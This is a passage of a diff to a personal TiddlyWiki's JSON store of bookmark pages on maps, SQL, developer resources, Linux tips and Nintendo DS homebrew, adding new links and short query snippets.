-{"title":"Cartography","created":"20231111233128372","creator":"Octt","modified":"20231221163333560","modifier":"Octt","tags":"Geography","text":"\u003C\u003C^wikipediaframe Cartography>>\n\n* \u003C\u003Clinkdescgit OpenStreetMap\"https://www.openstreetmap.org/\" \"largest community-created geospatial project of all time\" \"https://github.com/openstreetmap\">>\n** \u003C\u003Clinkdescgit OsmAnd\"https://osmand.net/\" \"Offline Maps and Navigation\" \"https://github.com/osmandapp\">>, primarily for Android but a webapp is WIP\n* \u003C\u003Clinkdescgit Leaflet\"https://leafletjs.com/\" \"๐ JavaScript library for mobile-friendly interactive maps\" \"https://github.com/Leaflet\">>\n"},
+{"title":"Cartography","created":"20231111233128372","creator":"Octt","modified":"20240119164516295","modifier":"Octt","tags":"Geography","text":"\u003C\u003C^wikipediaframe Cartography>>\n\n* \u003C\u003Clinkdescgit OpenStreetMap\"https://www.openstreetmap.org/\" \"largest community-created geospatial project of all time\" \"https://github.com/openstreetmap\">>\n** \u003C\u003Clinkdescgit OsmAnd\"https://osmand.net/\" \"Offline Maps and Navigation\" \"https://github.com/osmandapp\">>, primarily for Android but a webapp is WIP\n** [[Organic Maps|https://organicmaps.app/]] --- //Organic Maps is a free Android & iOS offline maps app for travelers, tourists, hikers, and cyclists. It uses crowd-sourced OpenStreetMap data.// --- \u003C\u003C[# Git\"https://github.com/organicmaps/organicmaps\">>\n* \u003C\u003Clinkdescgit Leaflet\"https://leafletjs.com/\" \"๐ JavaScript library for mobile-friendly interactive maps\" \"https://github.com/Leaflet\">>\n"},
{"title":"CASIO","created":"20230205150537106","creator":"Octt","modified":"20230205150543738","modifier":"Octt","tags":"TODO"},
{"title":"Celeste","created":"20230112100848709","creator":"Octt","icon":"๐งโโ๏ธ","modified":"20230225184006617","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Celeste","tags":"TODO Platformer $:/i18n:en Game $:/Games","text":"\u003C\u003C^wikipediaframe \"Celeste (video game)\" en>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://www.lexaloffle.com/bbs/widget.php?pid=15133\" \" \" 'style=\"width:100%; height:512px\"'>>"},
{"title":"Character Art","created":"20230216224705472","creator":"Octt","modified":"20230527080448851","modifier":"Octt","tags":"Digital Art Visual","text":"Aka [[ASCII Art]] (which before computers was [[Typewriter Art]], or [[ANSI Art]].\n\n* [[Moebius|https://blocktronics.github.io/moebius/]] --- //Modern ANSI & ASCII Art Editor// --- \u003C\u003C[ \"[[Git|https://github.com/blocktronics/moebius]]\">>\n"},
@@ -1131,10 +1132,10 @@
{"title":"Data recovery","created":"20231106235418371","creator":"Octt","modified":"20231106235541279","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Data recovery\">>\n\n* [[CGSecurity Wiki|https://www.cgsecurity.org/wiki/Main_Page]] --- home of the TestDisk and PhotoRec programs, plus some other tools and documentation\n"},
{"title":"Data serialization","created":"20231223143928533","creator":"Octt","modified":"20231223144025192","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Data serialization\">>\n\n* [[JSON is valid YAML|https://til.codeinthehole.com/posts/json-is-valid-yaml/]]\n\n!! YAML\n\n\u003C\u003C^WikipediaFrame \"YAML\">>\n\n* [[YAML Lint Online|https://www.yamllint.com/]]\n* [[YAML to JSON Converter Online|https://yml2json.com/]]\n\n!! INI\n\n\u003C\u003C^WikipediaFrame \"INI file\">>\n\n!!! TOML\n\n\u003C\u003C^WikipediaFrame \"TOML\">>\n"},
{"title":"Data storage","created":"20231104231609952","creator":"Octt","modified":"20231220183517988","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Data storage\">>\n\n* \u003C\u003Clinkdescgit \"f3 - Fight Flash Fraud\" \"https://fight-flash-fraud.readthedocs.io/en/stable/\" \"simple tool that tests flash cards capacity and performance to see if they live up to claimed specifications\" \"https://github.com/AltraMayor/f3\">>\n* [[Storj|https://storj.io]] --- //Decentralized cloud object storage that is affordable, easy to use, private, and secure.// --- \u003C\u003C[# Git\"https://github.com/storj\">>\n"},
-{"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20231223234827077","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL\n\n\u003C\u003C^wikipediaframe SQL>>\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n"},
+{"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20240119162211752","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL (Structured Query Language)\n\n\u003C\u003C^wikipediaframe SQL>>\n\n* [[SQL Tutorial - Essential SQL For The Beginners|https://www.sqltutorial.org/]], //helps you get started with SQL quickly and effectively through many practical examples.//\n\n* [[SQL Server reverse order after using desc|https://stackoverflow.com/questions/12534248/sql-server-reverse-order-after-using-desc]] --- just use a subselect subquery, `SELECT * FROM (... ORDER BY x DESC) _ ORDER BY x ASC`\n* [[How to count instances of character in SQL Column|https://stackoverflow.com/questions/1860457/how-to-count-instances-of-character-in-sql-column#1860478]] --- `SELECT LEN(col) - LEN(REPLACE(col, 'x', ''))`\n** [[SQL String: Counting Words inside a String|https://stackoverflow.com/questions/41952250/sql-string-counting-words-inside-a-string]] --- various methods more specially catered for counting words, than the naive space counting\n** Note: for counting in many rows together, the `SUM()` function must be used, [[or else you will go mad like me|https://chat.openai.com/share/5883b4c6-37cf-40e3-b735-9cd52b26020c]]\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n\n* [[MySQL LENGTH() Function|https://www.w3schools.com/sql/func_mysql_length.asp]] (not LEN on MySQL!)\n"},
{"title":"Demoscene","created":"20230425095136540","creator":"Octt","modified":"20231107212630799","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Demoscene>>\n\n* \u003C\u003ChttpsL www.untergrund.net>> --- //free hosting service for demoscene related projects//\n\n\u003C\u003C{ \"Tech Art\">>\n"},
{"title":"Development","created":"20230613185754543","creator":"Octt","modified":"20231227013022723","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Software development\">>\n\n!!! Tools\n\n* [[AST explorer|https://astexplorer.net/]] --- //A web tool to explore the ASTs generated by various parsers.// --- \u003C\u003C[# Git\"https://github.com/fkling/astexplorer\">>\n** [[metajs|http://www.jezng.com/metajs/]] --- //visualize javascript AST execution// --- \u003C\u003C[# Git\"https://github.com/int3/metajs\">>\n* [[NamsoGen|https://namso-gen.com]] --- //Your Testing Toolkit//\n\n!!! Resources\n\n* \u003C\u003CWikipediaL \"Dependency hell\">>\n\n* \u003C\u003CRedditL r/webdev/comments/spr2db/confused_about_web_app_architecture_and/ \"Confused about web app architecture and separation of frontend and backend\">>\n* [[What package naming convention do you use for personal/hobby projects|https://stackoverflow.com/questions/292169/what-package-naming-convention-do-you-use-for-personal-hobby-projects-in-java]] in Java/Android/Flatpak?\n* [[Should images be stored in a git repository?|https://softwareengineering.stackexchange.com/questions/80962/should-images-be-stored-in-a-git-repository]] [or any SCM]\n\n* [[Why would a game developer write their own engine instead of using existing ones?|https://gamedev.stackexchange.com/questions/74388/why-would-a-game-developer-write-their-own-engine-instead-of-using-existing-ones]]\n** \u003C\u003CRedditL r/gamedev/comments/91u7ia/is_it_worth_my_time_in_2018_to_make_a_game_using \"Is it worth my time in 2018 to make a game using only C and SDL?\">>\n* [[How to Mix C and Assembly|https://www.devdungeon.com/content/how-mix-c-and-assembly]]\n\n* [[Compilation and Installation using Autoconf|https://opensource.apple.com/source/X11libs/X11libs-60/mesa/Mesa-7.8.2/docs/autoconf.html]]\n* [[What is the purpose of .PHONY in a Makefile?|https://stackoverflow.com/questions/2145590/what-is-the-purpose-of-phony-in-a-makefile]] --- TLDR: it's to declare \"fake\" targets that must build independently from actual files on disk (that make would otherwise use as targets), it doesn't mean \"sound\" or \"pronunciation\" or otherwise the full list of only allowed build targets, as I initially thought because of associating phony => telephony => ...\n* [[Makefile Tutorial by Example|https://makefiletutorial.com]] --- //Learn Makefiles With the tastiest examples// --- \u003C\u003C[# Git\"https://github.com/theicfire/makefiletutorial\">>\n* \u003C\u003Clinkdescgit \"Modern CMake\" \"https://cliutils.gitlab.io/modern-cmake/\" \"A book about using CMake for your projects\" \"https://gitlab.com/CLIUtils/modern-cmake\">>\n\n* [[Replit: The software creation platform. IDE, AI, and Deployments|https://replit.com/]]\n** [[Repl.it Offline|https://web.archive.org/web/20230330151345/https://offline.repl.it/]] (joke) --- //Repl.it's most requested feature has finally come: an offline, local-first IDE.//\n*** [[We still get mailed code and we still mail back outputs in case you thought we stopped https://offline.repl.it|https://web.archive.org/web/20230129101236/https://twitter.com/amasad/status/1442672024397045761]]\n\n* [[GPL and Linking Exceptions|https://opensource.stackexchange.com/questions/14122/gpl-and-linking-exceptions]]\n** //You can use LGPLv3 with the [[LGPL-3.0-linking-exception|https://spdx.org/licenses/LGPL-3.0-linking-exception.html]]//\n* [[What does \"GPL with classpath exception\" mean in practice?|https://softwareengineering.stackexchange.com/questions/119436/what-does-gpl-with-classpath-exception-mean-in-practice]]\n"},
-{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20231217011012123","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"},
+{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240119165525443","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"},
{"title":"DevKitPro","created":"20230130081618018","creator":"Octt","modified":"20230130081716116","modifier":"Octt","tags":"TODO"},
{"title":"Digital Garden","created":"20230217224333827","creator":"Octt","icon":"๐","modified":"20230228222424404","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?digital-garden","tags":"","text":"I still haven't yet understood what are the exact connotations of this term.\n\n* Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result\n* It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)\n* Is a digital garden a [[Wiki]]? A [[Personal Knowledge Base]] with [[Zettelkasten]] method? Static [[Website]] with many \"classic-style\" WIP pages? A personal [[Notebook]] left open to the public to read?\n\n; Explanations, Demos, Discussions\n: \u003C\u003CYoutubeL TDqsr3MNTTc \"What is a Digital Garden? Everything you need to know ๐ฑ\">>\n: \u003Cdiv>\n\n; \u003C\u003CYoutubeL Hn6_4ZzcpiY \"Digital Gardening: Explained\">>\n: //A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.//\n\u003C/div>\n: \u003C\u003CYoutubeL v8CBE7jPPTk \"๐ชด How To Grow Your Own Digital Garden with Maggie Appleton\">>\n\n; Tools - some are under [[Personal Knowledge Base]]\n: [[garden ๐ฑ|https://digital-garden.dev/]] - starter kit for making a more blog-oriented digital garden - \u003C\u003C[ \"[[Git|https://github.com/inadeqtfuturs/garden]]\">>\n\n; Misc\n: [[Digital Gardening Tools and Resources|https://github.com/MaggieAppleton/digital-gardeners]]\n"},
{"title":"Digital signing","created":"20231219000332676","creator":"Octt","modified":"20231219000432315","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Digital signing\">>\n\n* [[Create Your Own Certificate Authority With OpenSSL and NGINX On Ubuntu 20.04|https://www.questioncomputer.com/create-your-own-certificate-authority-with-openssl-and-nginx-on-ubuntu-20-04/]]\n"},
@@ -1248,7 +1249,7 @@
{"title":"Libretro","created":"20230116221513491","creator":"Octt","modified":"20231221233243348","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Libretro>>\n\n* [[Developing Libretro Cores|https://docs.libretro.com/development/cores/developing-cores/]]\n\n* [[Building RetroArch [GTW]|https://emulation.gametechwiki.com/index.php/Building_RetroArch]]\n\n!! RetroArch\n\n\u003C\u003C^wikipediaframe RetroArch>>\n\n* [[RetroArchLeaks|https://retroarchleaks.wordpress.com/]] --- //Small collection of IRC logs, mostly from #retroarch. Mostly mudslinging and drama.//\n"},
{"title":"LineageOS","created":"20230202230215526","creator":"Octt","modified":"20230206205451676","modifier":"Octt","tags":"Android","text":"\u003C\u003CMediaWiki LineageOS en 2>>\n\n* https://lineageos.org/"},
{"title":"Linux","created":"20230111153758951","creator":"Octt","icon":"๐ง","modified":"20231224171918426","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1549605659-32d82da3a059?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D","tags":"$:/i18n:en Unix","text":"\u003C\u003C^wikipediaframe Linux en>>\n\n!! ''Docs''\n\n* [[The Linux Kernel documentation|https://docs.kernel.org/]]\n* [[Embedded Linux Wiki|https://elinux.org/Main_Page]]\n* [[die.net Linux Documentation|https://linux.die.net]]\n\n!!! ''Manpages''\n\n* on [[linux die|https://linux.die.net/man]]\n* or, simplified: [[tldr pages|https://tldr.sh/]] --- \u003C\u003C#[ Git \"https://github.com/tldr-pages\">>\n\n!!! ''Misc''\n\n* LDP (obsolete?)\n** [[The Network Administrators' Guide|https://tldp.org/LDP/nag/]]\n** [[Linux-MIPS for PS1?|https://www.linux-mips.org/wiki/PS1]]\n\n* [[SquashFS|https://tldp.org/HOWTO/SquashFS-HOWTO/whatis.html]], [[DwarFS|https://github.com/mhx/dwarfs]]\n* cannot access fuse mount as root or other users, [[Why does root get Permission denied when accessing FUSE directory?|https://unix.stackexchange.com/questions/17402/why-does-root-get-permission-denied-when-accessing-fuse-directory#17423]] --- To allow access to other users, add `user_allow_other` in `/etc/fuse.conf`, then mount fs with `-o allow_root` (only root) or `-o allow_other` (any user, including root).\n* [[How to extend the life of SD card used as root partition?|https://raspberrypi.stackexchange.com/questions/169/how-can-i-extend-the-life-of-my-sd-card]]\n\n* [[systemd-nspawn|https://wiki.archlinux.org/title/Systemd-nspawn]] --- //chroot on steroids// for systemd hosts and guests.\n** Quick boot a mounted rootfs: `-b -D ${rootfs path}`.\n** Kill booted container from shell: hold Ctrl and quickly press ] for 3 times.\n\n* [[Running a script every time a new kernel is installed|https://unix.stackexchange.com/questions/30320/running-a-script-every-time-a-new-kernel-is-installed]] --- Just place a sh script in `/etc/kernel/postinst.d/` (with the correct filename order).\n\n* [[linuxserver/webtop|https://github.com/linuxserver/docker-webtop]] --- //Ubuntu, Alpine, Arch, and Fedora based Webtop Docker images, Linux in a web browser supporting popular desktop environments//\n** Note: apparently the `/websockify` HTTP endpoint doesn't respect the option for installing the container under an HTTP subpath; in practice this could mean that more than one container at the same time cannot be used behind a reverse proxy without some modification, but instead have to be accessed from their dedicated port directly.\n\n!!! ''Benchmarks''\n\n* [[Paul Raspberry Pi Benchmarks|https://willy-tech.de/raspberry-pi-benchmarks/]]\n\n!!! ''Troubleshooting, practical guides''\n\n* [[Linux Hint|https://linuxhint.com/]]\n* [[Linuxize|https://linuxize.com/]] --- //Linux Tips, Tricks and Tutorials//\n* [[Ubuntu Geek|https://www.ubuntugeek.com/]] --- //Ubuntu Linux Tutorials,Howtos,Tips & News//\n\n* [[How to Zip Files and Directories in Linux|https://linuxize.com/post/how-to-zip-files-and-directories-in-linux/]] --- //the `zip` util and all important options//\n\n* [[Ubuntu 18.04 - pulseaudio Daemon startup failed|https://askubuntu.com/questions/1114659/ubuntu-18-04-pulseaudio-daemon-startup-failed]]\n\n* [[Create a Linux Swap File|https://linuxize.com/post/create-a-linux-swap-file/]]\n* [[How to Increase Swap on Raspberry Pi|https://linuxhint.com/increase-swap-raspberry-pi/]] --- edit the `/etc/dphys-swapfile` file accordingly, then run: `sudo dphys-swapfile {swapoff,setup,swapon}`\n* [[cannot mount /dev/loop1 read-only|https://serverfault.com/questions/839898/cannot-mount-block-device-dev-loop-read-only]] --- Filesystem might have a dirty log, using `-o norecovery` can still mount it readonly.\n\n* [[How to take back control of /etc/resolv.conf on Linux|https://www.ctrl.blog/entry/resolvconf-tutorial.html]] --- //Several DNS-related programs want to automatically manage the DNS name server and resolution configuration file at `/etc/resolv.conf`. In some situations, you may want to manage this file yourself.//\n\n* [[How do I start a process with a nice value of -20 and not give it root privilege?|https://unix.stackexchange.com/questions/72934/how-do-i-start-a-process-with-a-nice-value-of-20-and-not-give-it-root-privilege]] --- quick hack: `sudo nice -n -20 su -c ${cmd} ${user}`\n* [[How to Show FPS Counter in Linux Games|https://linuxhint.com/show_fps_counter_linux_games/]]\n* [[How to Check CPU Temperature on Linux|https://phoenixnap.com/kb/linux-cpu-temp]]\n"},
-{"title":"Linux/Advanced","created":"20231221001035380","creator":"Octt","modified":"20231221164123943","modifier":"Octt","tags":"","text":"* [[What is the smallest possible Linux implementation?|https://unix.stackexchange.com/questions/2692/what-is-the-smallest-possible-linux-implementation/203902#203902]]\n** [[How to create a Linux system that runs a single application?|https://superuser.com/questions/320529/how-to-create-a-linux-system-that-runs-a-single-application]]\n"},
+{"title":"Linux/Advanced","created":"20231221001035380","creator":"Octt","modified":"20240119163846665","modifier":"Octt","tags":"","text":"* [[What is the smallest possible Linux implementation?|https://unix.stackexchange.com/questions/2692/what-is-the-smallest-possible-linux-implementation/203902#203902]]\n** [[How to create a Linux system that runs a single application?|https://superuser.com/questions/320529/how-to-create-a-linux-system-that-runs-a-single-application]]\n\n* [[timb-machine/linux-malware|https://github.com/timb-machine/linux-malware]] --- //Tracking interesting Linux (and UNIX) malware.//\n"},
{"title":"Linux/Distros","created":"20231221001636851","creator":"Octt","modified":"20231222115805983","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Linux distro\">>\n\n* [[tomsrtbt (Tom's floppy which has a root filesystem and is also bootable.)|http://www.toms.net/rb/]] --- //\"The most GNU/Linux on 1 floppy disk.\"//\n\n* [[distro Linux vs generi, trova le differenze|https://octospacc.altervista.org/2023/12/20/690/]]\n\n!! Void\n\n* [[The Void (Linux) distribution|https://voidlinux.org/]] --- \u003C\u003C[# Git\"https://github.com/void-linux\">>\n* [[Services and Daemons - runit|https://docs.voidlinux.org/config/services/index.html]]\n"},
{"title":"Linux/Snippets","created":"20230216221308797","creator":"Octt","modified":"20231223162822644","modifier":"Octt","tags":"","text":"; [[How to mount a local directory without root|https://unix.stackexchange.com/a/602503]]\n: `bindfs --no-allow-other /source/directory /mount/point`\n\n; [[Create a File of a Certain Size in Linux|https://www.baeldung.com/linux/create-file-of-given-size]]\n: `fallocate -l 100M ${File}`\n\n; [[How to cut a file to a given size under Linux?|https://superuser.com/questions/629521/how-to-cut-a-file-to-a-given-size-under-linux]]\n: `truncate --size=1G ${File}`\n\n; Misc\n: [[xdotool list of key codes|https://gitlab.com/cunidev/gestures/-/wikis/xdotool-list-of-key-codes]]\n"},
{"title":"Linux/Userspace","created":"20230608141932117","creator":"Octt","modified":"20231210222142632","modifier":"Octt","tags":"","text":"* [[AppStream (Docs)|https://www.freedesktop.org/software/appstream/docs/]]\n** [[AppStream .Metainfo.xml Creator|https://www.freedesktop.org/software/appstream/metainfocreator/]]\n* [[Open Age Ratings Service (OARS)|https://hughsie.github.io/oars/index.html]]\n\n!!! ''Misc tools''\n\n* [[Flatpak|https://flatpak.org/]] --- //Linux application sandboxing and distribution framework// --- \u003C\u003C[# Git \"https://github.com/flatpak\">> \u003C\u003C[# \"Dev Docs\" \"https://docs.flatpak.org/en/latest/\">>\n** [[Flathub|https://flathub.org/]] --- Official build and distribution service for Flatpak applications --- \u003C\u003C[ \"[[Git|https://github.com/flathub]]\">>\n** \u003C\u003CRedditL r/flatpak/comments/m09ma4/save_flathub_runtime_and_sdk_as_local_flatpak \"Save Flathub runtime and SDK as local Flatpak file bundle\">>\n\n* [[Wine|https://www.winehq.org/]] --- //Compatibility layer for running Windows applications on POSIX-compliant systems//\n** [[WineZGUI|https://github.com/fastrizwaan/WineZGUI]] --- //Wine GUI using Zenity - Play and Share!// --- \u003C\u003C#[ Flatpak \"https://github.com/fastrizwaan/flatpak-wine\">>\n** [[When is a wine-based Linux path used/converted?|https://askubuntu.com/questions/1018400/when-is-a-wine-based-linux-path-used]]\n*** `winepath` allows conversion of paths Unix --> Windows (`-u`), Windows --> Unix (`-w`)\n* [[Boxedwine|https://www.boxedwine.org/]] --- //Multiplatform Linux Emulator that runs WINE// --- \u003C\u003C#[ Git \"https://github.com/danoon2/Boxedwine\">>\n"},
@@ -1303,7 +1304,7 @@
{"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"},
{"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) [[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"},
{"title":"Nintendo DS/Software Requiring Only the Bottom Screen","created":"20221018215927772","modified":"20230206111552237","modifier":"Octt","tags":"Nintendo NDS Gaming $:/i18n:en","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' โข Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' โข Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' โข Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' โข Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' โข Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' โข Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation 